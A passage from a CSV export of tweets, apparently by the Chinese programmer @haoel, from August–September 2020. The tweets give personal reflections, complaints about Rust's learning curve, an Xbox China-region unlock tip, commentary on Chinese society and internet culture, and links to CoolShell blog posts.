中国澳门没法填，明白？,,https://twitter.com/haoel/status/1310424556138422272\n3799,1310395703831621632,2020-09-28 01:47:36+00:00,106,19,28,,【死锁】前几周出差，回京后，北京健康宝要求补录到访地，结果死活搞不定，查询通讯大数据发现还到过澳门，事实上我根本没有去过。我打12345寻求帮助，告诉我找运营商，运营商数据查询并没有显示我去过澳门，让我找12345……我想，那我就在健康宝里把澳门加上吧，然而，健康宝就根本就没有港澳…… https://t.co/R1HtQMVFM6,,https://twitter.com/haoel/status/1310395703831621632\n3800,1310378486800904193,2020-09-28 00:39:11+00:00,0,0,0,,@fanweixiao 这都撞上了,,https://twitter.com/haoel/status/1310378486800904193\n3801,1310148755388203009,2020-09-27 09:26:19+00:00,0,0,1,,@lyricwai @cxqn 我明白了，你以为我是iPhone上的截图，其实我这是MacOS 截图,,https://twitter.com/haoel/status/1310148755388203009\n3802,1310104811627376640,2020-09-27 06:31:42+00:00,0,0,1,,@lyricwai https://t.co/l2s48cXL1a,\"[TextLink(text='obsproject.com/download', url='https://obsproject.com/download', tcourl='https://t.co/l2s48cXL1a', indices=(10, 33))]\",https://twitter.com/haoel/status/1310104811627376640\n3803,1310104168368021504,2020-09-27 06:29:08+00:00,0,0,1,,@lyricwai @fak3D0nA1dT3UmP 直播软件,,https://twitter.com/haoel/status/1310104168368021504\n3804,1310087608656039937,2020-09-27 05:23:20+00:00,296,42,17,,两个月前去青岛时拍到的，忘了发推了，今天整理照片时才想起来…… https://t.co/G5TM6uNpTz,,https://twitter.com/haoel/status/1310087608656039937\n3805,1310053073331523584,2020-09-27 03:06:06+00:00,0,0,0,,@globe315 黄金周打打游戏,,https://twitter.com/haoel/status/1310053073331523584\n3806,1309844093367853056,2020-09-26 13:15:42+00:00,0,0,1,,@fak3D0nA1dT3UmP 开大会直播用……🤪,,https://twitter.com/haoel/status/1309844093367853056\n3807,1309843247263444992,2020-09-26 13:12:20+00:00,78,5,14,,2020年，与客户交流，除了我们自己在用的zoom外，客户还让我装了各种远程会议的应用，分别是：腾讯会议、钉钉、天翼云会议、小鱼易连、全时、TeamViewer……我以为WebEx不会再出现在的我视野里了，结果我还是错了……用完后，发现WebEx比N年前好用多了…… https://t.co/e3Ur9kKS15,,https://twitter.com/haoel/status/1309843247263444992\n3808,1309703763666452480,2020-09-26 03:58:05+00:00,1,0,0,,@sfzylx @leeight 我解锁太早了，现在真不知道还能不能用？,,https://twitter.com/haoel/status/1309703763666452480\n3809,1309702185303699456,2020-09-26 03:51:48+00:00,1,0,0,,@anpho 怕沉迷，控制不住钱包，不敢买。不过现在等PS5了……,,https://twitter.com/haoel/status/1309702185303699456\n3810,1309700644106727424,2020-09-26 03:45:41+00:00,0,0,1,,@BennyThinks 我的国行一直在解锁中，是不是因为解锁的比较早？,,https://twitter.com/haoel/status/1309700644106727424\n3811,1309700211854376963,2020-09-26 03:43:58+00:00,29,1,9,,我当时用国行，只是为了体感游戏，用了三年，结果网上说可以解锁了。然后就开始各种买游戏了——古墓丽影三部曲，荒野大飙客2，瘟疫传说，刺客信条（奥德赛）……不知为什么超喜欢的剧情类的游戏，比看电影爽多了……,,https://twitter.com/haoel/status/1309700211854376963\n3812,1309697120325173248,2020-09-26 03:31:41+00:00,1,0,0,,@linuxgnu @leeight 应该是微软故意的。,,https://twitter.com/haoel/status/1309697120325173248\n3813,1309696596230115330,2020-09-26 03:29:36+00:00,5,0,1,,@leeight More,,https://twitter.com/haoel/status/1309696596230115330\n3814,1309696308429504513,2020-09-26 03:28:27+00:00,65,5,4,,\"XboxOne国行攻略\n\n1）解锁：https://t.co/LO8enFtl7t \n\n2）上电脑微软账号绑国际支付信用卡或PayPal（或香港区绑支付宝）\n\n3）上淘宝找“东东诚信出售”店铺，花200左右软妹币买个一年期的XGPU-Xbox Game Pass Ultimate(我已买过两次了，因为自己无法激活，每次都要把自己的帐号和密码交给老板帮激活）\",\"[TextLink(text='zhuanlan.zhihu.com/p/48839181', url='https://zhuanlan.zhihu.com/p/48839181', tcourl='https://t.co/LO8enFtl7t', indices=(18, 41))]\",https://twitter.com/haoel/status/1309696308429504513\n3815,1309689567998402560,2020-09-26 03:01:40+00:00,91,4,7,,@leeight 我的也是国行的，但解锁了。你找一个NTFS的U盘，在根目录上创建一个“$ConsoleRegion0”空文件，开机运行，插入刚才准备的U盘，打开设置 -&gt;系统-&gt;语言和区域，如果位置变为“美国”，即代表国行主机解锁成功，取下U盘重启国行主机。,,https://twitter.com/haoel/status/1309689567998402560\n3816,1308955420187217920,2020-09-24 02:24:26+00:00,57,17,1,,终于到了移除zookeeper 依赖倒计时了……✌️,,https://twitter.com/haoel/status/1308955420187217920\n3817,1308805656619528197,2020-09-23 16:29:19+00:00,256,10,5,,不必觉得我有多委屈，也不必为我加油，人生中的不顺与坎坷，曲折与艰辛，生老病死都是每个人必须经历和面对的，我们要做的就是要随时准备好要与之“正面抗”！有一技之长伴身，总是不用愁的，大多数问题总是有办法解决和撑过去的……,,https://twitter.com/haoel/status/1308805656619528197\n3818,1308801577159778305,2020-09-23 16:13:07+00:00,517,42,33,,\"我那“中年危机”回推好些点赞，那多扯几句，20岁时互联网泡沫，30岁时次货危机，40岁父亲病危，工作不顺，孩子上学问题，婚姻不和谐…半年让我头发花白…而我则作死创业……然而16年股灾，17/18年金融严监管，19/20中美大战+疫情……\n\n海明威说过：“世界很好，值得去奋斗”，我信后半句！一一《七宗罪》\",,https://twitter.com/haoel/status/1308801577159778305\n3819,1308707634850050048,2020-09-23 09:59:49+00:00,2,0,0,,@upsuper @RedDustGuest 不是可能，是必需需要社区的帮助，因为tricky的东西太多了,,https://twitter.com/haoel/status/1308707634850050048\n3820,1308646452936060928,2020-09-23 05:56:42+00:00,3,1,1,,@RedDustGuest 老实说，我并不觉得语法刺眼算是个槽点，我对这个无感，而当我遇到问题时候，我会不知所措，你图片中的这个也解法，当时我搞了两天多，google不到任何东西，我给官方开issue，官方不理，上stackoverflow提问才得到答案的……这才是我对rust的槽点——你需要太多的“秘籍”,,https://twitter.com/haoel/status/1308646452936060928\n3821,1308644892973785088,2020-09-23 05:50:30+00:00,2,0,0,,@RedDustGuest 是的。这就是“秘籍” ;-),,https://twitter.com/haoel/status/1308644892973785088\n3822,1308642381193859072,2020-09-23 05:40:31+00:00,216,19,36,,@sagacity 我39岁的中年危机——同时并发，父亲病危，工作不顺，小孩子上不了学，老婆闹离婚，希望我的中年危机让你好受一些…… 顺祝好！,,https://twitter.com/haoel/status/1308642381193859072\n3823,1308626973015465985,2020-09-23 04:39:18+00:00,2,0,0,,@RedDustGuest clone有复制成本啊……如果写代码只是为了不计代价让编译通过，是不是有点本末倒置了？你的关注点是编译通过，还是不要在代码里植入这样trick的东西？,,https://twitter.com/haoel/status/1308626973015465985\n3824,1308625195725287424,2020-09-23 04:32:14+00:00,2,0,0,,@andelf @im2gua 这样理解啊…… 如果程序员这么自信的话，那用C/C++就好了吧……,,https://twitter.com/haoel/status/1308625195725287424\n3825,1308466190159814661,2020-09-22 18:00:24+00:00,0,0,1,,@andelf @im2gua 用unsafe的秘藉解决一切烦恼？Rust设计者要哭了……,,https://twitter.com/haoel/status/1308466190159814661\n3826,1308252794739027968,2020-09-22 03:52:27+00:00,6,0,3,,@ccQpein 问题就在这里，如果不用这些smart pointer，我根本写不出一个链表（注：在C/C++中我只需要用语言本身就可以写出链表）。另外，对于链表的插入和删除操作要同时move几个成员，这个事如果没人告诉我那个replace的秘籍，完全不知道该怎么写。,,https://twitter.com/haoel/status/1308252794739027968\n3827,1308249887398490115,2020-09-22 03:40:53+00:00,10,0,1,,\"@HunterXue 然而并不是这样的，我就举两个例子：\n1）你需要同时move两个结构体成员\n2）你需要写闭包的lifetime\n你自己可以看看rust那6K的issue列表，你就会知道我说的那些秘籍是什么了……\",,https://twitter.com/haoel/status/1308249887398490115\n3828,1308243550761443328,2020-09-22 03:15:43+00:00,170,11,22,,对我来说，Rust的那些所有权，lifetime，trait等都是很好的东西。然而，我想用Rust尝试写个链表，写个并发排序，代码写完后，各种编译不过，一次次挫败后，在某个地方找到个“秘籍”（是的，就是那种不为人知的秘籍），才顺利通关。后面发现需要N多这种秘籍才能把程序写下去……这才是Rust最大的问题……,,https://twitter.com/haoel/status/1308243550761443328\n3829,1307715252176318464,2020-09-20 16:16:26+00:00,33,6,6,,被拉了个群了，说明tiktok还在正常运作…… https://t.co/KSYfRkPaRs,,https://twitter.com/haoel/status/1307715252176318464\n3830,1307301377807249408,2020-09-19 12:51:51+00:00,863,190,44,,\"通过微信公众号群聊学习技术\n通过抖音短视频学习英语扩大视野\n通过微博热搜关注时政社会热点\n通过知乎“怎么看XXX”培养三观\n通过公司996加班实现人生价值\n通过股市/彩票/p2p/币圈获得财富\n\n这就是大多数人的人生，但他们并没有觉得有什么不妥……\",,https://twitter.com/haoel/status/1307301377807249408\n3831,1307133899349336065,2020-09-19 01:46:21+00:00,115,34,6,,那些觉得娱乐形式不会影响智商的人，估计连这边英文文章也看不懂的。刚发现这篇文章翻译成中文了，如果你还想有救的话，快去看看吧。https://t.co/U1K5Rqm8eo,\"[TextLink(text='36kr.com/coop/zaker/514…', url='http://36kr.com/coop/zaker/5147718.html', tcourl='https://t.co/U1K5Rqm8eo', indices=(62, 85))]\",https://twitter.com/haoel/status/1307133899349336065\n3832,1307131413301522433,2020-09-19 01:36:28+00:00,273,70,23,,我昨天发了一贴说朋友圈，公众号，抖音看多了影响智商，引起好些人冷潮热讽，这里有篇电视和书怎么影响大脑的。“看电视这种形式，实际上是属于被动接受信息。调台，选到想看的节目之后，你就放松地坐着，看着所有信息传进来，自己不需要做什么， 会导致言语推理能力下降 ”https://t.co/aPD76MR0D3,\"[TextLink(text='link.medium.com/QOVfPfnzT9', url='https://link.medium.com/QOVfPfnzT9', tcourl='https://t.co/aPD76MR0D3', indices=(128, 151))]\",https://twitter.com/haoel/status/1307131413301522433\n3833,1306967908153663488,2020-09-18 14:46:46+00:00,38,0,2,,@nowhere_safe 你说的是特例，我说的是群体。,,https://twitter.com/haoel/status/1306967908153663488\n3834,1306965522483822592,2020-09-18 14:37:17+00:00,826,102,67,,美国禁微信和抖音，让我感到很不安，远离了公众号和朋友圈的美国华人，以及再也没有弱智短视频的年轻人们，智商会越来越高了……这让我得更加努力了……,,https://twitter.com/haoel/status/1306965522483822592\n3835,1306961751032750080,2020-09-18 14:22:18+00:00,186,36,11,,作为中国人，嘲笑别人说英语说的不好的人从来都不是美国人和英国人，从来都是我们自己的人……,,https://twitter.com/haoel/status/1306961751032750080\n3836,1305870956863336449,2020-09-15 14:07:52+00:00,102,5,31,,我以为我没有密集恐惧证，直到，我昨天看到我一个高中同学的植发手术后的头顶照片……头顶上3700多个血点……到今天都缓不过来……,,https://twitter.com/haoel/status/1305870956863336449\n3837,1305135274985283586,2020-09-13 13:24:32+00:00,82,15,19,,开复老师前些日子说谷歌离开中国是因为不愿意遵守中国的法律，网友们说，连这个老公知都看不下去了，在连夜绣红旗。而李开复这两天说人脸数据收集的事，在蚂蚁金服的官微下，网友们说李开复是个骗子和二货……（我估计开复老师以后不知道怎么说话了） https://t.co/VIvPzsiTNC,,https://twitter.com/haoel/status/1305135274985283586\n3838,1305130857812779010,2020-09-13 13:06:59+00:00,14,1,2,,@tinyfool 而评论则说明了另外一个问题…… https://t.co/2tfvqSqV78,,https://twitter.com/haoel/status/1305130857812779010\n3839,1303971906303922176,2020-09-10 08:21:43+00:00,1,0,0,,@yurii_yu 赞，跟我的blog一样．,,https://twitter.com/haoel/status/1303971906303922176\n3840,1303960999997837313,2020-09-10 07:38:23+00:00,0,0,0,,@_wlfp 受教！,,https://twitter.com/haoel/status/1303960999997837313\n3841,1303953974727340034,2020-09-10 07:10:28+00:00,68,3,18,,又见明星，好像是个少女组合，不认识，太香了，跟化妆品柜台一个样，口罩都挡不住。（上海虹桥） https://t.co/F36Cu3lkNI,,https://twitter.com/haoel/status/1303953974727340034\n3842,1303857248037339136,2020-09-10 00:46:07+00:00,1,0,3,,@tinyfool 盗梦空间在信条面前只是小儿科,,https://twitter.com/haoel/status/1303857248037339136\n3843,1303846197426225154,2020-09-10 00:02:12+00:00,118,5,25,,《信条》是这样一部电影。你需要花了两个半小时看电影，然后再花n个小时把豆瓣和Youtube上的各国人民的电影分析看个遍，在好像懂了，但多想一下发现还是不懂，而头越来越大，越来越不懂，最终只能放下执念随它去吧的一部电影……,,https://twitter.com/haoel/status/1303846197426225154\n3844,1303485298244947969,2020-09-09 00:08:07+00:00,49,13,4,,其实，谁不是呢……,,https://twitter.com/haoel/status/1303485298244947969\n3845,1303359756245938179,2020-09-08 15:49:15+00:00,3,0,1,,@kevinzhow https://t.co/ZJFykI1Wuy,\"[TextLink(text='3g.163.com/dy/article/FLU…', url='https://3g.163.com/dy/article/FLUKRCO505372IRU.html', tcourl='https://t.co/ZJFykI1Wuy', indices=(11, 34))]\",https://twitter.com/haoel/status/1303359756245938179\n3846,1303211551340388353,2020-09-08 06:00:20+00:00,1,1,0,,@realLenville 是的，推崇归推崇，但这是精英文化，不是主流文化……,,https://twitter.com/haoel/status/1303211551340388353\n3847,1302887433978040320,2020-09-07 08:32:25+00:00,0,0,0,,@yanguango 基本就是Amazon文化的复刻,,https://twitter.com/haoel/status/1302887433978040320\n3848,1302835538500571136,2020-09-07 05:06:12+00:00,3,0,0,,@pango_loves_fun 你面试google的时候，hr就会发邮件给你了……,,https://twitter.com/haoel/status/1302835538500571136\n3849,1302834443191595009,2020-09-07 05:01:51+00:00,0,0,1,,@yanguango 借鉴是肯定的，但是怎么个“大量”法？,,https://twitter.com/haoel/status/1302834443191595009\n3850,1302834089611857921,2020-09-07 05:00:27+00:00,8,0,4,,Google 的 FeedBurner 不是已经进坟场了么？为什么今天又开始Work了？一下子自动推送了我blog的好几篇文章……,,https://twitter.com/haoel/status/1302834089611857921\n3851,1302823152905523200,2020-09-07 04:16:59+00:00,106,30,5,,酷壳 https://t.co/IuyntCmVpT - 程序员如何把控自己的职业: 这篇文章的主要内容主要是我今年3月份在腾讯做的直播，主要是想让一些技术人员对世界有一个大体的认识，并且在这个认识下能够… https://t.co/kx1UcoYIwM,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/3h2LkW', url='https://goo.gl/fb/3h2LkW', tcourl='https://t.co/kx1UcoYIwM', indices=(104, 127))]\",https://twitter.com/haoel/status/1302823152905523200\n3852,1302823151722795008,2020-09-07 04:16:59+00:00,23,1,0,,酷壳 https://t.co/IuyntCmVpT - 计时攻击 Timing Attacks: 本文来自读者“程序猿石头”的投稿文章《这 10 行比较字符串相等的代码给我整懵了，不信你也来看看》，原文… https://t.co/EKU9lva4p0,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/Evhixn', url='https://goo.gl/fb/Evhixn', tcourl='https://t.co/EKU9lva4p0', indices=(104, 127))]\",https://twitter.com/haoel/status/1302823151722795008\n3853,1302823150837796864,2020-09-07 04:16:59+00:00,15,4,1,,酷壳 https://t.co/IuyntCmVpT - Rust语言的编程范式: 总是有很多很多人来问我对Rust语言怎么看的问题，在各种地方被at，其实，我不是很想表达我的想法。因为在不同的角度，你会… https://t.co/4JioBVEBn4,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/CZAdvM', url='https://goo.gl/fb/CZAdvM', tcourl='https://t.co/4JioBVEBn4', indices=(104, 127))]\",https://twitter.com/haoel/status/1302823150837796864\n3854,1302823149944348673,2020-09-07 04:16:58+00:00,30,4,0,,酷壳 https://t.co/IuyntCmVpT - 与程序员相关的CPU缓存知识: 好久没有写一些微观方面的文章了，今天写一篇关于CPU Cache相关的文章，这篇文章比较长，主要分成这么几个部分… https://t.co/jGbzcpcfEi,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/RRUvVw', url='https://goo.gl/fb/RRUvVw', tcourl='https://t.co/jGbzcpcfEi', indices=(103, 126))]\",https://twitter.com/haoel/status/1302823149944348673\n3855,1302823148807688198,2020-09-07 04:16:58+00:00,39,8,1,,酷壳 https://t.co/IuyntCmVpT - MegaEase的远程工作文化: MegaEase 是我创业的公司，主要是想把云计算（PaaS/SaaS层）的那些高可用高并发的分布式技术普及到那… https://t.co/Zsbqmi0xMC,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/YEMa7C', url='https://goo.gl/fb/YEMa7C', tcourl='https://t.co/Zsbqmi0xMC', indices=(104, 127))]\",https://twitter.com/haoel/status/1302823148807688198\n3856,1302823147591344128,2020-09-07 04:16:58+00:00,28,7,1,,酷壳 https://t.co/IuyntCmVpT - 使用简单的逻辑方法进行独立思考: 这是一个非常复杂的世界，这个世界上有很多各式各样的观点和思维方式，作为一个程序员的我，也会有程序员的思维方式… https://t.co/1wZUY2gG3Z,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/WFCBpF', url='https://goo.gl/fb/WFCBpF', tcourl='https://t.co/1wZUY2gG3Z', indices=(102, 125))]\",https://twitter.com/haoel/status/1302823147591344128\n3857,1302049626896261120,2020-09-05 01:03:16+00:00,5,0,1,,@EryouHao 我也有一张 https://t.co/VLsyHSjJ9U,,https://twitter.com/haoel/status/1302049626896261120\n3858,1302049273270251521,2020-09-05 01:01:52+00:00,235,71,21,,\"「翻墙违法是无可争议的事实」浙江省仅8月份“个人翻墙”行政处罚达18起（全年60例）\n\nhttps://t.co/4r2aMABySZ https://t.co/4V8bI2UYOq\",\"[TextLink(text='mp.weixin.qq.com/s/vy668sp66e4Z…', url='https://mp.weixin.qq.com/s/vy668sp66e4ZeOXo2QZU1w', tcourl='https://t.co/4r2aMABySZ', indices=(44, 67))]\",https://twitter.com/haoel/status/1302049273270251521\n3859,1301904401485848577,2020-09-04 15:26:12+00:00,7,0,3,,@tinyfool 马应龙,,https://twitter.com/haoel/status/1301904401485848577\n3860,1301888100902207488,2020-09-04 14:21:25+00:00,149,13,13,,之所以说上面这些东西，我其实是想说，大清的灭亡，很大程度是因为自己的愚昧，面对世界格局的巨变，依然要坚持自己的封建王朝制度，还自以为自己是世界强国……说白了就是马保国，看上去很强，但最好别出去打架，一打一个KO……,,https://twitter.com/haoel/status/1301888100902207488\n3861,1301885839987728385,2020-09-04 14:12:26+00:00,72,7,1,,多扯两句历史，大清到灭亡前其实都是比较有钱。英国因为东印度公司受挫，改变殖民方式，他们觉得直接殖民不如扶植亲英政权划过算，所以他们不但贷款给大清收复新疆，直接出兵参与镇压太平天国，还帮助大清建立关税制度，让大清关税收的爽爆……就算1895甲午战败，1900向各国宣战，关税收得都很爽……,,https://twitter.com/haoel/status/1301885839987728385\n3862,1301841373260251136,2020-09-04 11:15:45+00:00,191,46,42,,1879年，唐廷枢对李鸿章说，希望修条铁路，因为高昂运输成本使开平煤矿的煤价在市场上没丝毫竞争力，面临生存危机。当时清政府和民众对火车非常害怕并极力抵制，因为害怕铁路让列强更快地掠夺。但李鸿章说修条快马道，才建成铁路，而马拉火车的笑话也由此诞生……下面这小伙如同当年害怕火车的民众…… https://t.co/63nxa1T8la,,https://twitter.com/haoel/status/1301841373260251136\n3863,1301827932516540416,2020-09-04 10:22:20+00:00,0,0,1,,@kkymco @cosbeta 镜头前放💩就更好了……😹,,https://twitter.com/haoel/status/1301827932516540416\n3864,1301826482948382720,2020-09-04 10:16:34+00:00,188,32,32,,\"看了这篇【“健康码”还没走，“文明码”又来了】后，不知为什么我居然开始期待“爱国码”了……\n\nhttps://t.co/tKFlriG7jE\",\"[TextLink(text='mp.weixin.qq.com/s?__biz=MzI1OD…', url='https://mp.weixin.qq.com/s?__biz=MzI1ODcyODYwNA==&mid=2247487024&idx=1&sn=c2109f886ef37788fe64eba784f86c93&v_p=85&WBAPIAnalysisOriUICodes=10000001&launchid=10000365--x&wm=3333_2001&aid=01AlXGROx5hg3pwET1EvS65OGFbfY4CRw-R2AQ6Wem30OLR4I.&from=10A8193010', tcourl='https://t.co/tKFlriG7jE', indices=(47, 70))]\",https://twitter.com/haoel/status/1301826482948382720\n3865,1301642504807149568,2020-09-03 22:05:31+00:00,0,0,1,,@xunhao @mlsx 不做么？我去查查资料,,https://twitter.com/haoel/status/1301642504807149568\n3866,1301522795264790531,2020-09-03 14:09:50+00:00,50,2,2,,@mlsx 先反编译一下。如果编译器优化删了，你就可以删了,,https://twitter.com/haoel/status/1301522795264790531\n3867,1301522171366223877,2020-09-03 14:07:21+00:00,556,65,66,,看了几个在国外生活的中国人vlog视频，或多或少会说被外国人人歧视的事。但关于歧视这事，其实中国人应该有强大的心理素质才对，就拿我来说吧，被上海人歧视过，北京人管我们叫外地逼，杭州警察上门查过我的暂住证，北方人歧视南方人，业务人员歧视技术人员，公务员歧视平民，甲方歧视乙方……刁惯了…,,https://twitter.com/haoel/status/1301522171366223877\n3868,1301516671794855936,2020-09-03 13:45:30+00:00,1,0,1,,@nishuang 这个就好看很多了，成系列了,,https://twitter.com/haoel/status/1301516671794855936\n3869,1301513589333716993,2020-09-03 13:33:15+00:00,0,0,0,,@kM9kYPYn @nishuang 我们理科生不看这个，偏见的认为猫猫不是设计……😂,,https://twitter.com/haoel/status/1301513589333716993\n3870,1301327458696794112,2020-09-03 01:13:38+00:00,6,0,4,,@nishuang 这个不就是把一张图贴在盒子外表呗，没啥设计啊……,,https://twitter.com/haoel/status/1301327458696794112\n3871,1301299224093446144,2020-09-02 23:21:26+00:00,22,6,3,,\"这样的般若心经就很提神醒脑了\nhttps://t.co/rgsT2Y5gmB\",\"[TextLink(text='youtu.be/nvIGCMhjkvw', url='https://youtu.be/nvIGCMhjkvw', tcourl='https://t.co/rgsT2Y5gmB', indices=(15, 38))]\",https://twitter.com/haoel/status/1301299224093446144\n3872,1300782738153168896,2020-09-01 13:09:06+00:00,2,0,0,,@jimmysongio @antgroup @Tetrateio Good luck!,,https://twitter.com/haoel/status/1300782738153168896\n3873,1300476667274510337,2020-08-31 16:52:53+00:00,156,19,12,,意外看到这个广告的效果，真是不错，一下就把我吸引过去了…… https://t.co/Li2E0ztD5d,,https://twitter.com/haoel/status/1300476667274510337\n3874,1300369376692953088,2020-08-31 09:46:33+00:00,2,0,0,,@Wuren20 对的,,https://twitter.com/haoel/status/1300369376692953088\n3875,1300366593663201282,2020-08-31 09:35:30+00:00,78,2,46,,今年大家的身体是不是都变好了吧，一般的炎症发烧是不是都没了……,,https://twitter.com/haoel/status/1300366593663201282\n3876,1300361120079724545,2020-08-31 09:13:45+00:00,32,0,12,,iMessage的赌博垃圾信息消停了，共享相册又开始了…… https://t.co/3UvnkGcNTU,,https://twitter.com/haoel/status/1300361120079724545\n3877,1300081427233480704,2020-08-30 14:42:21+00:00,0,0,0,,@jenniferyao1996 应该是永久的,,https://twitter.com/haoel/status/1300081427233480704\n3878,1300075635541331969,2020-08-30 14:19:20+00:00,314,24,18,,经常会有订阅了我在极客时间的读者告诉我他我的专栏对他的帮助，最近有两个人让我挺开心的，一个是和我年纪相仿的大学老师，重新再学习的……一个是传统行业出来的程序员一口气拿了阿里、字节、美团的offer不知怎么选的……其实学习就这么回事…… https://t.co/iSQ4YeB09f,,https://twitter.com/haoel/status/1300075635541331969\n3879,1299662117822279681,2020-08-29 10:56:10+00:00,287,35,24,,\"互联网上有这么一类人：\n- 当你说喜欢A国，他们就说你是一定反B国\n- 当你不发表观点时，他们就说你心里有鬼\n- 当你关注一个群但不发言，他们会说不互动就应该离开\n……\n这类人的思维方式似乎只有“正/反”两个答案，感觉他们的脑核像个硬币一样，当思考时，大脑能做的最深度的动作就是在不停地抛硬币……\",,https://twitter.com/haoel/status/1299662117822279681\n3880,1299654751257161728,2020-08-29 10:26:53+00:00,0,0,1,,@PersonaNuo 基本不发言，到你这就成不互动了，别外，不互动并不代表不关注啊，你的判断力如此非零即一么？,,https://twitter.com/haoel/status/1299654751257161728\n3881,1299370392713195521,2020-08-28 15:36:57+00:00,48,1,25,,从2013年iPhone4S以来，一直通过苹果的手机备份和恢复，把微信的聊天记录保存到了这么大，看了下清理空间，占空间的主要是各种群聊，一半左右的都是我基本不发言的群，真的不知道为什么人类这么喜欢聊天…… https://t.co/XKKqxevu9F,,https://twitter.com/haoel/status/1299370392713195521\n3882,1299139770090573824,2020-08-28 00:20:32+00:00,97,20,9,,\"Mozilla的竞争对手都是Microsoft, Apple, Google这样万亿级的公司，这本身已经赢了……\nhttps://t.co/s3AldQBQEX\",\"[TextLink(text='medium.com/young-coder/mo…', url='https://medium.com/young-coder/mozilla-the-greatest-tech-company-left-behind-9e912098a0e1', tcourl='https://t.co/s3AldQBQEX', indices=(57, 80))]\",https://twitter.com/haoel/status/1299139770090573824\n3883,1298874550201925633,2020-08-27 06:46:39+00:00,0,0,0,,@fhsb2020 @no13bus Google Doc,,https://twitter.com/haoel/status/1298874550201925633\n3884,1298832506943180800,2020-08-27 03:59:35+00:00,7,0,3,,@blocklessnar 这个真不用了。Node的方案只适合简单并发不高的业务，实际上这样的业务用什么语言都行。而复杂的业务逻辑，交易型的业务逻辑，分布式架构的业内最通行实现还是在Java这边……,,https://twitter.com/haoel/status/1298832506943180800\n3885,1298809076382498816,2020-08-27 02:26:29+00:00,109,16,4,,这两天团队在讨论监控中的指标和日志处理，感觉上可以在数学模型上进行统一处理。但还是先搜一下，于是看到splunk这篇不错的文章 https://t.co/0mv1nA3xr6,\"[TextLink(text='splunk.com/en_us/blog/it/…', url='https://www.splunk.com/en_us/blog/it/metric-log-monitoring-really-need.html', tcourl='https://t.co/0mv1nA3xr6', indices=(64, 87))]\",https://twitter.com/haoel/status/1298809076382498816\n3886,1298807137326440448,2020-08-27 02:18:46+00:00,1,0,1,,@blocklessnar @skbysp1 @CaiXueYong Netflix 应该是Java系的才对啊，这么多的Java开源贡献,,https://twitter.com/haoel/status/1298807137326440448\n3887,1298803450428309506,2020-08-27 02:04:07+00:00,0,0,1,,@blocklessnar @skbysp1 @CaiXueYong 一定不会是主营业务,,https://twitter.com/haoel/status/1298803450428309506\n3888,1298801985353732101,2020-08-27 01:58:18+00:00,204,19,17,,哪怕只是一个restful API的路径设计，我也会把全网的Web API设计翻一遍…… https://t.co/jj0ZFuN4pf,,https://twitter.com/haoel/status/1298801985353732101\n3889,1298800122470338567,2020-08-27 01:50:54+00:00,21,0,6,,@CaiXueYong 左下角的一般是用node.js做后端的公司……,,https://twitter.com/haoel/status/1298800122470338567\n3890,1298798570007478272,2020-08-27 01:44:44+00:00,554,105,17,,我在做一些技术决定的时候一般都要去搜一下业内的最佳实践，参考已有技术的实现方式，或是相关的博客、文档和论文，为自己的决定找到依据和参考，而不只是用自己的经验做想当然的决定。这并不仅是为了做正确的决定，而更是因为，一个人如果只会用自己过去经验而不再学习，他基本上就会达到天花板了……,,https://twitter.com/haoel/status/1298798570007478272\n3891,1298522335838838786,2020-08-26 07:27:04+00:00,0,0,1,,@Reily0308 找到了吗？,,https://twitter.com/haoel/status/1298522335838838786\n3892,1298440661654364160,2020-08-26 02:02:32+00:00,681,128,29,,说教…… https://t.co/w1vQ5x6tZC,,https://twitter.com/haoel/status/1298440661654364160\n3893,1298408404998688770,2020-08-25 23:54:21+00:00,7,0,0,,\"@bradfitz In China, we call it as Pre-Sales Engineer who mainly helps sales answer the tech question from customer or set up the PoC to demonstrate  the products in customer environment. And the Outsourcing Engineer who just works on site for 100% customized development works.\",,https://twitter.com/haoel/status/1298408404998688770\n3894,1298060144576622592,2020-08-25 00:50:29+00:00,88,14,35,,我想起来了我在微博上推广git时，很多人抗拒git的情景…… https://t.co/pJkjYuO3Yw,,https://twitter.com/haoel/status/1298060144576622592\n3895,1297782190722301954,2020-08-24 06:26:00+00:00,638,213,45,,别说言论自由了，不喝药和吼叫都是违法行为了…… https://t.co/TaHs4lMym9,,https://twitter.com/haoel/status/1297782190722301954\n3896,1297511669355040770,2020-08-23 12:31:03+00:00,104,3,11,,\"老外赞不绝口啊 ，MAX REACTS: Black Myth Wukong - This Game Looks Unreal https://t.co/iQuj8Rg73z  \n\n在这个游戏的演示片出来前，我以为国内的游戏制作已经无药可救了……\n\n好的东西就是好的，任何民族都会觉得是好的，根本不需要用什么“国产”“民族”“爱国”等标签来说事……\",\"[TextLink(text='youtu.be/DpGQxUH7wVk', url='https://youtu.be/DpGQxUH7wVk', tcourl='https://t.co/iQuj8Rg73z', indices=(64, 87))]\",https://twitter.com/haoel/status/1297511669355040770\n3897,1297325445457707008,2020-08-23 00:11:03+00:00,157,39,4,,很多事情是相似的…… https://t.co/YL7xnv7b6o,,https://twitter.com/haoel/status/1297325445457707008\n3898,1296025569897771009,2020-08-19 10:05:49+00:00,15,2,0,,这个“倒放”看了几遍才看出来……,,https://twitter.com/haoel/status/1296025569897771009\n3899,1296024076167688193,2020-08-19 09:59:53+00:00,111,28,6,,如果美公司是中国公司呢？电脑和手机上新闻广告弹窗是必须的；预装软件和屏蔽竞对是少不了滴；浏览器首页必须是123导航；搜索一定是虚假广告；编译代码需要先看80秒广告；所有的公司都会做网贷，天天都在发红包，推广告，拉大V，搞营销，娱乐八卦……另外，还有OS内核级收集用户数据并审查……,,https://twitter.com/haoel/status/1296024076167688193\n3900,1294617897013149697,2020-08-15 12:52:14+00:00,1,1,1,,@songma 